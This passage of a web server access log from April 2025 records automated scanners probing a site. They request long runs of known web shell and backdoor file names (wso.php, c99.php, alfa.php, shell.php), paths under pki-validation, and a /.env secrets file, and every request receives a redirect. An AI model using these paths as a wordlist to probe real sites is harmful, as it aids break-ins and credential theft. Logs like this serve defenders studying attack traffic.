"GET /simple.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:09 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:10 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:10 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:11 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:11 -0400] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:12 -0400] "GET /.well-known/acme-challenge/new.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:12 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:12 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:13 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:13 -0400] "GET /wp-includes/SimplePie/file.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:13 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:14 -0400] "GET /wp-includes/blocks/heading/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:14 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:14 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:15 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:15 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:15 -0400] "GET /wp-content/bk.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:15 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:16 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:16 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [29/Apr/2025:17:02:59 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:17:03:40 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:17:04:46 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:17:04:51 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:17:05:00 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:17:05:01 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:17:06:19 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:17:06:22 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:17:06:23 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:17:17:40 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:17:18:50 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:17:21:21 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:17:21:33 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:17:21:50 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:17:21:52 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:17:24:34 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:17:24:43 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:17:24:46 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 88.210.10.79 - - [29/Apr/2025:18:11:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 167.94.138.199 - - [29/Apr/2025:18:29:02 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 2602:80d:1006::77 - - [29/Apr/2025:18:29:26 -0400] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 162.0.232.217 - - [29/Apr/2025:18:34:40 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:18:34:55 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 66.249.68.37 - - [29/Apr/2025:19:05:06 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.68.37 - - [29/Apr/2025:19:05:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 104.42.235.198 - - [29/Apr/2025:19:27:30 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 91.246.41.166 - - [29/Apr/2025:20:03:32 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 104.42.235.198 - - [29/Apr/2025:20:06:11 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 104.42.235.198 - - [29/Apr/2025:20:06:12 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 2600:1900:0:2c02::c01 - - [29/Apr/2025:20:17:20 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36" 206.123.159.6 - - [29/Apr/2025:20:26:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Vivaldi/5.3.2679.68" 34.208.211.222 - - [29/Apr/2025:20:32:29 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 3.80.61.148 - - [29/Apr/2025:21:12:58 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.80.61.148 - - [29/Apr/2025:21:13:01 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.80.61.148 - - [29/Apr/2025:21:13:03 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.80.61.148 - - [29/Apr/2025:21:13:05 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.80.61.148 - - [29/Apr/2025:21:13:05 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.80.61.148 - - [29/Apr/2025:21:13:07 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.80.61.148 - - [29/Apr/2025:21:13:08 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.80.61.148 - - [29/Apr/2025:21:13:09 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.80.61.148 - - [29/Apr/2025:21:13:11 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.80.61.148 - - [29/Apr/2025:21:13:11 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 34.222.156.149 - - [29/Apr/2025:21:41:35 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 43.159.132.207 - - [29/Apr/2025:21:51:44 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 195.191.219.131 - - [29/Apr/2025:22:17:30 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.131 - - [29/Apr/2025:22:17:32 -0400] "GET /category/digital-marketing HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.131 - - [29/Apr/2025:22:17:33 -0400] "GET /local-seo-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 185.204.1.224 - - [29/Apr/2025:22:21:22 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 94.228.240.121 - - [29/Apr/2025:22:25:48 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 66.249.79.161 - - [29/Apr/2025:22:27:10 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.162 - - [29/Apr/2025:22:27:12 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 2.59.50.220 - - [29/Apr/2025:22:55:27 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 202.142.116.177 - - [29/Apr/2025:23:16:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 18.223.108.59 - - [29/Apr/2025:23:36:28 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 13.74.15.66 - - [29/Apr/2025:23:50:03 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:04 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:04 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:05 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:05 -0400] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:06 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:06 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:07 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:08 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:08 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:09 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:09 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:10 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:11 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:11 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:12 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:12 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:13 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:14 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:14 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:14 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:15 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:15 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:15 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:16 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:16 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:17 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:17 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:18 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:18 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:19 -0400] "GET /alwso.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:19 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:20 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:20 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:20 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:21 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:21 -0400] "GET /symlink.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:22 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:22 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:23 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:24 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:24 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:25 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:26 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:26 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:27 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:27 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:27 -0400] "GET /FoxWSO.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:28 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:28 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:29 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:29 -0400] "GET /imagesvuln.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:30 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:30 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:30 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:31 -0400] "GET /0byte.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:31 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:32 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:32 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:32 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:33 -0400] "GET /qindex.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:33 -0400] "GET /minimo.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:34 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:34 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:35 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:35 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:36 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:36 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:37 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:37 -0400] "GET /defau1t.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:38 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:38 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:39 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:39 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:40 -0400] "GET /sindex.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:41 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:41 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:42 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:42 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:43 -0400] "GET /nee.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:43 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:44 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:44 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:45 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:46 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:46 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:47 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:47 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:48 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:48 -0400] "GET /7yn.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:49 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:49 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:50 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:51 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:51 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:52 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:53 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:54 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:55 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:55 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:56 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:56 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:57 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:57 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:57 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:58 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:58 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:59 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:50:59 -0400] "GET /kindex.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:00 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:01 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:01 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:01 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:02 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:03 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:03 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:04 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:04 -0400] "GET /if.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:04 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:05 -0400] "GET /mrjn.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:05 -0400] "GET /kn.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:06 -0400] "GET /3301.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:06 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:07 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:08 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:08 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:09 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:09 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:09 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:10 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:10 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:11 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:11 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:12 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - [29/Apr/2025:23:51:12 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "-" 13.74.15.66 - - 